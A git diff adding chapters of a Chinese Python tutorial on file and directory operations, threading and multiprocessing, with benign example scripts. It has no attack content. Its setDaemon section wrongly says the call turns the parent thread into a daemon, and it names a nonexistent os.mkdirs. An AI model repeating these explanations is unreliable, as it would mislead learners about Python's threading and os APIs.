+ +下面的代码用来测试修改文件的权限: + +```Python +# 设置文件可以通过用户组执行 + +os.chmod("./1.txt", stat.S_IXGRP) + +# 设置文件可以被其他用户写入 +os.chmod("./a/a1/a1.t", stat.S_IWOTH) +``` + +### 2.1.4 目录的重命名、创建和删除 + +#### 2.1.4.1 目录重命名 + +通过前面介绍的os.rename方法可以实现对文件和目录的重命名,相似的方法还有os.renames方法。下面测试下两种方法的区别: +```Python +def renameTest(): + walkDir('.') + os.rename('1.txt','2.txt') + try: + os.rename('./a/a.p','./b2/b.p') + except FileNotFoundError as e: + print(e) + os.renames('./a/a1/a1.t','b/b2/b1.t') + walkDir('.') + +renameTest() +``` + +上面的代码中,我们首先打印当前目录结构: + +![](./img/11.png) + +然后使用rename方法对当前目录下的1.txt文件重命名为2.txt,这是正常使用方法,没有问题。接下来将'./a/a.p'重命名到'./b2/b.p',注意此时并不存在'./b2'这个路径,会抛出异常: + +![](./img/12.png) + +接着用os.renames方法去做重命名,将'./a/a1/a1.t'重命名到不存在的路径'b/b2/b1.t'。最后打印的结果如下: + +![](./img/13.png) + +我们发现,整个a目录不存在了,os.renames方法实现了递归重命名。 + +#### 2.1.4.2 目录创建 + +os.mkdirs方法可用于创建目录,定义如下: +``` +makedirs(name, mode=0o777, exist_ok=False) +``` + +继续添加代码测试: +```Python +def createPath(p): + try: + os.makedirs(p) + except OSError as e: + print('创建目录失败', e) + else: + print('目录%s创建成功' % p) + +createPath('./a/') +``` +上面的代码中,我们调用os.makedirs方法在当前目录下创建'./a/'路径,因为该路径已经存在,所以会抛出异常。结果如下: + +![](./img/14.png) + +下面我们修改代码,判断路径是否已经存在。 + +```Python +def createPath2(p): + try: + if not os.path.exists(p): + os.makedirs(p) + print('%s创建成功' % p) + else: + print('%s已经存在' % p) + except OSError as e: + print('创建目录失败', e) + + +createPath2('./a/') +createPath2('./a/b') +``` +上面的代码中,我们使用os.path.exists方法来判断路径是否存在,从而减少异常情况的发生。运行结果如下: + +![](./img/15.png) + +下面看一下os.makedirs第二个参数的使用: + +```Python +def createPath3(p, mode): + try: + if not os.path.exists(p): + os.makedirs(p,mode) + print('%s创建成功' % p) + mode = os.stat(p).st_mode + print(stat.filemode(mode)) + else: + print('%s已经存在' % p) + except OSError as e: + print('创建目录失败', e) + +createPath3('./a/b/c',0o755) +``` + +这里我们传入0o755 的mode值,创建该路径。运行结果如下: + +![](./img/16.png) + +此外,os.makedirs的第三个参数exist_ok在递归创建目录的时候非常有用,如果其值传为true的时候,遇到已经存在的路径,不会抛出异常,程序继续执行。 + +在程序运行过程中,我们经常会使用系统的临时目录,通过tempfile模块可以创建临时目录。看下面的示例: + +```Python +import tempfile +def createTempDirectory(): + with tempfile.TemporaryDirectory() as directory: + print('临时目录 %s' % directory) + + +createTempDirectory() +``` + +上面的代码中使用tempfile.TemporaryDirectory()方法创建了一个临时目录,由于使用了with表达式,在方法执行完毕后,该临时目录会被清空。运行结果如下: + +![](./img/17.png) + +#### 2.1.4.3 目录删除 + +目录删除使用os.rmdir方法: +```Python +def removeDir(path): + try: + os.rmdir(path) + except OSError: + print("删除 %s 失败" % path) + else: + print("删除 %s成功" % path) +``` + +如果想要递归删除一个文件夹,则需要调用os.removedirs方法。 + +#### 2.1.5 小节 + +本节我们学习了基本的文件和目录的创建,删除重命名等操作。还有一些相关的模块,比如os.path模块,pathlib库,shutil库,可以用于实现很多高级的文件和目录操作。这里暂时不做介绍,后面涉及到的地方会再做讲解。本节的作业如下: + +1. 不使用os.walk()实现目录遍历 +2. 学习pathlib库,实现对文件和目录的基本操作(https://docs.python.org/3/library/pathlib.html#concrete-paths) +3. 学习shutil库(https://docs.python.org/3/library/shutil.html#module-shutil),实现拷贝,移动等高级操作 + +下一节我们学习多线程编程。 + + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) diff --git a/2.1.pdf b/2.1.pdf new file mode 100644 index 0000000..d83442b Binary files /dev/null and b/2.1.pdf differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" new file mode 100644 index 0000000..e0638e7 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" @@ -0,0 +1,23 @@ +# -*- coding: UTF-8 -*- +from threading import Thread,currentThread + + +class MyThread(Thread): + def __init__(self, n): + if n != "": + super(MyThread, self).__init__(name=n) # 重构run函数必须要写 + else: + super(MyThread, self).__init__() # 重构run函数必须要写 + + + def run(self): + print("name:%s\n" %self.getName()) + + +if __name__ == "__main__": + t1 = MyThread("") + t2 = MyThread("t2") + + t1.start() + t2.start() + print(currentThread().getName()) \ No newline at end of file diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" new file mode 100644 index 0000000..bcc7a9f --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +from threading import Thread + + +class MyThread(Thread): + def __init__(self, id): + super(MyThread, self).__init__() # 重构run函数必须要写 + self.id = id + + def run(self): + print("task", self.id) + + +if __name__ == "__main__": + t1 = MyThread("t1") + t2 = MyThread("t2") + + t1.start() + t2.start() \ No newline at end of file diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" new file mode 100644 index 0000000..f05fd05 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- + +import threading +import time +class MyThread(threading.Thread): + def __init__(self,id): + super(MyThread, self).__init__() + self.id = id + def run(self): + time.sleep(3) + print(self.id) + +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + t1.join() + for i in range(5): + print(i) + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" new file mode 100644 index 0000000..0bd67ed --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- + +import threading +import time + +num = 0 +def run(n): + lock.acquire() #获取锁 + global num + print('start:', num) + num += 1 + print('end', num) + lock.release() #释放锁 + +lock = threading.Lock() # 实例化一个锁对象 +for i in range(200): + t = threading.Thread(target=run, args=("t-%s" % i,)) + t.start() + t.join() diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" new file mode 100644 index 0000000..47fb723 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" @@ -0,0 +1,17 @@ +# -*- coding: UTF-8 -*- + +from threading import Thread +import time +class MyThread(Thread): + def __init__(self): + super(MyThread, self).__init__() + def run(self): + time.sleep(5) + print("我是子线程:" + self.getName()) + +if __name__ == "__main__": + t1=MyThread() + t1.setDaemon(True) + t1.start() +print("我是主线程!") + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" new file mode 100644 index 0000000..8dfb802 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- +import threading + +class SimpleCreator(): + def f(self,id): + print('线程执行 %s \n' %id) + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f,args=(i,)) + t.start() + + + +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" new file mode 100644 index 0000000..ed95bab --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- + +import threading +import time + +def hello(): + print("hello, Timer") + +if __name__ == '__main__': + t = threading.Timer(3.0, hello) + t.start() + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..73b8991 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..163a564 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" new file mode 100644 index 0000000..2bbf217 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..d0491e2 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..cb416a6 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..37e362a Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" new file mode 100644 index 0000000..45a7893 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" new file mode 100644 index 0000000..6270e19 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" new file mode 100644 index 0000000..a2b81a2 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" @@ -0,0 +1,335 @@ +## 2.2 多线程编程 + +在具体讲解Python的多线程概念之前,我们有必要先搞清楚通常意义上的进程和线程的概念。其实从根本上讲清楚进程和线程并不是一件容易的事情,这里我尽可能的简单去阐述,方便我们写代码即可。 + +每一个应用程序在未执行的时候,只是一个二进制文件,当被执行的时候,操作系统会创建一个该应用的“活体”,就是进程,只有进程才能执行具体的任务。一个进程包括二进制镜像文件、虚拟内存、需要访问的内核资源、安全上下文等等,操作系统会为进程分配一个唯一id。 在linux 系统中使用top 命令可以查看进程信息。 + +![](img/1.png) + +线程是程序运行的最小调度单元,线程包含在进程中,它包括虚拟处理器、栈、应用程序状态信息等。 + +一个进程至少包含一个线程。多线程进程中,理论上每个线程代表单独的任务,多个任务可以同时执行。 + +在操作系统中两个重要的虚拟化概念是是虚拟内存和虚拟处理器。这两个虚拟化给每个进程一个错觉,就是它们都在独享这个计算机资源。通过虚拟内存,每个进程可以操作的内存地址空间都被认为是整个内存资源(包括磁盘上的交互内存),然后映射到实际的物理内存上,这样将物理内存访问和应用程序的内存访问隔离开。假如计算机上只有4G内存,你起了10个进程,每个进程都认为自己拥有4G内存的空间可以访问。虚拟处理器,让进程认为它独占处理器资源,运行过程中不用关心是否和其他进程发生争抢,不必去处理实际的资源分配问题。虚拟处理器模型,可以很方便的在多处理器架构上,让多个进程并行执行。 + +虚拟内存和进程的概念是直接关联的,一个进程中的多个线程共享同一个虚拟内存空间。虚拟处理器和线程是直接关联的,每一个线程是一个独立的调度单元。 + +Python的多线程和其他语言还是有很大区别的,原则上讲是假的多线程。下面的解释引自知乎: + +``` +Python代码的执行由Python虚拟机(解释器)来控制。Python在设计之初就考虑要在主循环中,同时只有一个线程在执行,就像单CPU的系统中运行多个进程那样,内存中可以存放多个程序,但任意时刻,只有一个程序在CPU中运行。同样地,虽然Python解释器可以运行多个线程,只有一个线程在解释器中运行。对Python虚拟机的访问由全局解释器锁(GIL)来控制,正是这个锁能保证同时只有一个线程在运行。在多线程环境中,Python虚拟机按照以下方式执行。 + +1.设置GIL。 +2.切换到一个线程去执行。 +3.运行。 +4.把线程设置为睡眠状态。 +5.解锁GIL。 +6.再次重复以上步骤。 + +对所有面向I/O的(会调用内建的操作系统C代码的)程序来说,GIL会在这个I/O调用之前被释放,以允许其他线程在这个线程等待I/O的时候运行。如果某线程并未使用很多I/O操作,它会在自己的时间片内一直占用处理器和GIL。也就是说,I/O密集型的Python程序比计算密集型的Python程序更能充分利用多线程的好处。 + + +作者:DarrenChan陈驰 +链接:https://www.zhihu.com/question/23474039/answer/269526476 +``` + +基本概念介绍到这里,下面我们开始学习Python的多线程编程。 + +Python中可以使用thread(_thread)模块和threading模块来创建底层线程,由于threading完全可以替代thread模块,同时提供了更为丰富的功能,所以我们这里只介绍threading模块。 + +### 2.1.1 创建线程 + +#### 直接初始化Thread类 + +threading模块中的Thread类代表一个线程,该类的实现在http://hg.python.org/cpython/file/3.4/Lib/threading.py可以看到。 + +Thread类__init__方法定义如下: +```Python +def __init__(self, group=None, target=None, name=None, + args=(), kwargs=None, *, daemon=None): +``` +我们先使用最简单的直接初始化的方法来创建线程,先看如下代码: + +```Python +# -*- coding: UTF-8 -*- +import threading + +class SimpleCreator(): + def f(self): + print('线程执行\n') + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f) + t.start() + + + +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() +``` + +上面的代码中,我们创建了一个简单的测试类SimpleCreator,先定义了一个方法f,该方法被调用时打印“线程执行”。creatThread方法循环创建三个Thread类的实例,构造函数中只传入 了target参数,值为方法f。接下来每个Thread类的实例会调用start方法,该方法的作用是启动线程。在Thread类内部,satrt方法最终会调用run方法,run方法调用传入的target值。我们继续看最后的三行代码: + +```Python +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() +``` + +首先使用“if __name__ == '__main__'” 来判断当前文件是否是入口文件,在多个.py文件组成的应用中,或者编写给第三方调用的模块的时候,判断应用程序入口是十分必要的,不然很多代码会被引用一次就执行一次。接下来初始化了SimpleCreator的实例sc,然后调用了实例方法creatThread,creatThread按照上面的分析创建线程,线程调用f方法打印文字。最终运行结果如下: + +![](img/2.png) + +#### 传参 + + +为了让线程能执行更多的任务,我们需要利用args参数给线程传参,修改上面的代码如下: + +```Python + +class SimpleCreator(): + def f(self,id): + print('线程执行 %s \n' %id) + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f,args=(i,)) + t.start() +``` + +如上,修改f方法接收一个id参数,该参数由creatThread在创建Thread实例的时候通过args参数传入。f被调用的时候打印id值。执行结果如下: + +![](img/3.png) + + +#### 继承threading.Thread + +我们可以创建一个自定义类,继承threading.Thread类,通过重写hreading.Thread类的run方法来控制线程的执行。 新建一个extend.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +from threading import Thread + + +class MyThread(Thread): + def __init__(self, id): + super(MyThread, self).__init__() # 重构run函数必须要写 + self.id = id + + def run(self): #重写run方法 + print("task", self.id) + +#调用自定义类 +if __name__ == "__main__": + t1 = MyThread("t1") + t2 = MyThread("t2") + + t1.start() + t2.start() +``` + +上面的代码中,我们声明了一个类MyThread,该类继承threading.Thread,关于继承的概念和方法,如果还不理解请重写学习1.8节。这里注意两个地方,使用继承的方法创建线程,我们通常重写run方法,在run方法中完成该线程要做的事情;第二,重写run方法,必须要在构造函数中手动调用父类的构造函数。 + +运行结果如下: + +``` +task t1 +task t2 +``` + +### 2.1.2 Identify + +每个线程默认都有唯一的标识符,可以通过Thread的getName方法获取到。新建Identify.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +from threading import Thread,currentThread + + +class MyThread(Thread): + def __init__(self, n): + if n != "": + super(MyThread, self).__init__(name=n) # 重构run函数必须要写 + else: + super(MyThread, self).__init__() # 重构run函数必须要写 + + + def run(self): + print("name:%s\n" %self.getName())#获取名称 + + +if __name__ == "__main__": + t1 = MyThread("") + t2 = MyThread("t2") + + t1.start() + t2.start() + print(currentThread().getName())#获取当前线程的名字 +``` + +如上面代码,我们仍然通过自定义线程类来进行测试,构造函数对传入的参数进行的判断,如果值不为空则赋值给Thread类的name参数,该操作会修改默认的线程名称。后续的测试代码线程t1没有重命名线程,t2对线程命名为t2。最后,我们调用threading.currentThread()方法来获取当前线程(主线程)的实例。运行结果如下: + +![](img/4.png) + +### 2.1.3 setDaemon + +程序运行中,执行一个主线程,如果主线程又创建一个子线程,主线程和子线程就分兵两路,分别运行,那么当主线程完成想退出时,会校验子线程是否完成。如果子线程未完成,则主线程会等待子线程完成后再退出。但是有时候我们需要主线程完成了,不管子线程是否完成,都要和主线程一起退出,这时就可以用setDaemon方法了。 + +主线程A中,创建了子线程B,并且在主线程A中调用了B.setDaemon(),这个的意思是,把主线程A设置为守护线程,这时候,要是主线程A执行结束了,就不管子线程B是否完成,一并和主线程A退出。要特别注意的:必须在start() 方法调用之前设置。 + +新建setDaemon.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from threading import Thread +import time +class MyThread(Thread): + def __init__(self): + super(MyThread, self).__init__() + def run(self): + time.sleep(5) + print("我是子线程:" + self.getName()) + +if __name__ == "__main__": + t1=MyThread() + t1.setDaemon(True) + t1.start() +print("我是主线程!") +``` + +从上面的代码可以看出,子线程t1中的内容并未打出。t1.setDaemon(True)的操作,将父线程设置为了守护线程。根据setDaemon()方法的含义,父线程打印内容后便结束了,不管子线程是否执行完毕了。运行结果如下: + +![](img/5.png) + + +### 2.1.4 join + +主线程A中,创建了子线程B,并且在主线程A中调用了B.join(),那么,主线程A会在调用的地方等待,直到子线程B完成操作后,才可以接着往下执行,那么在调用这个线程时可以使用被调用线程的join方法。 + +创建join.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time +class MyThread(threading.Thread): + def __init__(self,id): + super(MyThread, self).__init__() + self.id = id + def run(self): + time.sleep(3) + print(self.id) + +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + for i in range(5): + print(i) + +``` +注意上面代码我们调用了 time.sleep方法,该方法会挂起当前线程指定秒数之后在继续执行。 + +运行结果如下: + +![](img/6.png) + +运行过程中我们可以感知到打印4和999之间,有明显的停顿,会等待3秒钟。线程t1 start后,主线程并没有等线程t1运行结束后再执行,而是先把5次循环打印执行完毕(打印到4),然后sleep(3)后,线程t1把传进去的999才打印出来。下面我们加入join方法,看看它是如何影响运行流程的。 + +```Python +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + t1.join()#此处增加join调用 + for i in range(5): + print(i) +``` + +如上,我们修改启动线程的地方,start之后调用t1.join()。运行过程中,程序会先等待3秒,然后打印999,最后才执行循环打印,实现了子线程调用和主线程的串行执行。运行结果如下: + +![](img/7.png) + +### 2.1.5 Timer + +Timer(定时器)是Thread的派生类,用于在指定时间后调用一个方法。 + +创建timer.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time + +def hello(): + print("hello, Timer") + +if __name__ == '__main__': + t = threading.Timer(3.0, hello) + t.start() +``` + +上面的代码中,我们调用hreading.Timer创建一个线程t,第一个参数3.0代表start之后3秒钟,该线程才开始执行,第二个参数hello是该线下要调用的函数。运行结果如下: + +![](img/8.png) + + ### 2.1.6 锁 + + 由于线程之间是进行随机调度,当多个线程同时修改同一条数据时可能会出现脏数据,所以,出现了线程锁,即同一时刻只允许一个线程执行操作。线程锁用于锁定资源,你可以定义多个锁, 当你需要独占某一资源时,任何一个锁都可以锁这个资源,就好比你用不同的锁都可以把相同的一个门锁住是一个道理。 + + + 互斥锁是一种同一时刻只允许一个线程访问资源的锁。创建mutex.py文件,添加下面的代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time + +num = 0 +def run(n): + lock.acquire() #获取锁 + global num + print('start:', num) + num += 1 + print('end', num) + lock.release() #释放锁 + +lock = threading.Lock() # 实例化一个锁对象 +for i in range(200): + t = threading.Thread(target=run, args=("t-%s" % i,)) + t.start() + t.join() +``` +注意上面代码中调用了lock.acquire() 获取锁,通过lock.release()释放锁,两者之间的代码同时只能被一个线程访问。当前线程未推出时,其他线程会等待其执行。另外,通过threading.RLock()可以获得递归锁,RLcok类的用法和Lock类一模一样,但它支持嵌套,,在多个锁没有释放的时候一般会使用使用RLcok类。 + +### 2.1.7 小结 + +多线程是Python编程的难点之一,这里我们简单介绍了基础概念,还有很多概念没有介绍,同学们在有精力的情况下可以自己扩展,没有精力也不必着急,只需把本篇文章中的内容练习掌握即可。扩展内容在后续涉及到的时候会继续讲解。 + +本节作业: + +1. 结合2.1节内容,写一个多线程版本的文件枚举程序,同时输入多个目录,每个线程负责一个目录递归获取该目录下的所有文件。 + +下一篇文章我们继续学习多进程编程,多进程学习完毕之后统一安排练习项目。 + +下一节我们学习多线程编程。 + + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) diff --git a/2.2.pdf b/2.2.pdf new file mode 100644 index 0000000..2f0b12e Binary files /dev/null and b/2.2.pdf differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" new file mode 100644 index 0000000..ac8bc2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" new file mode 100644 index 0000000..5d21911 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" @@ -0,0 +1,24 @@ +# -*- coding: UTF-8 -*- +import multiprocessing +import time + +def job(v, num, l): + l.acquire() # 锁住 + for _ in range(5): + time.sleep(0.1) + v.value += num # 获取共享内存 + print(v.value) + l.release() # 释放 + +def multicore(): + l = multiprocessing.Lock() # 定义一个进程锁 + v = multiprocessing.Value('i', 0) # 定义共享内存 + p1 = multiprocessing.Process(target=job, args=(v,1,l)) # 需要将lock传入 + p2 = multiprocessing.Process(target=job, args=(v,3,l)) + p1.start() + p2.start() + p1.join() + p2.join() + +if __name__ == '__main__': + multicore() \ No newline at end of file diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" new file mode 100644 index 0000000..d0e4a81 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" @@ -0,0 +1,37 @@ +# -*- coding: UTF-8 -*- +import multiprocessing + +def consumer(pipe): + output_p,input_p=pipe + input_p.close() #关闭管道的输入端 + while True: + try: + item=output_p.recv() + print(item) + except EOFError: + break + + +#生产项目并将其放置到队列上,sequence是代表要处理项目的可迭代对象 +def producer(sequence,input_p): + for item in sequence: + #将项目放置在队列上 + input_p.send(item) +if __name__=="__main__": + (output_p,input_p)=multiprocessing.Pipe(True) + #启动使用者进程 + cons_p=multiprocessing.Process(target=consumer,args=((output_p,input_p),)) + cons_p.start() + + #关闭生产者中的输出管道 + output_p.close() + print("生产者关闭") + #生产项目 + sequence=[1,2,3,4] + producer(sequence,input_p) + #关闭输入管道,表示完成 + input_p.close() + #等待使用者进程关闭 + cons_p.join() + + diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" new file mode 100644 index 0000000..54857e8 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process,Pool +import time + +def Foo(i): + time.sleep(2) + return i+100 + +def Bar(arg): + print('-->exec done:',arg) + +pool = Pool(5) #允许进程池同时放入5个进程 + +for i in range(10): + pool.apply_async(func=Foo, args=(i,),callback=Bar) #func子进程执行完后,才会执行callback,否则callback不执行(而且callback是由父进程来执行了) + +print('end') +pool.close() +pool.join() #主进程等待所有子进程执行完毕。必须在close()或terminate()之后。 \ No newline at end of file diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" new file mode 100644 index 0000000..cb24a04 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" @@ -0,0 +1,23 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process, Queue +import time + +def f(q, data): + q.put(data) +def out(q): + time.sleep(4) + print(q.get()) + +if __name__ == '__main__': + q = Queue() + p = Process(target=f, args=(q, [1, 2, 3])) + p.start() + + p.join() + + p1 = Process(target=out,args=(q,)) + p1.start() + + p1.join() + \ No newline at end of file diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" new file mode 100644 index 0000000..321f370 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" @@ -0,0 +1,21 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process +import os + +def info(title): + print(title) + print('module name:', __name__) + print('parent process:', os.getppid()) + print('process id:', os.getpid()) + +def f(name): + info('function f') + print('hello', name) + +if __name__ == '__main__': + info('main line') + p = Process(target=f, args=('bob',)) + p.start() + p.join() + diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..9f3fb2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..27f6eeb Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" new file mode 100644 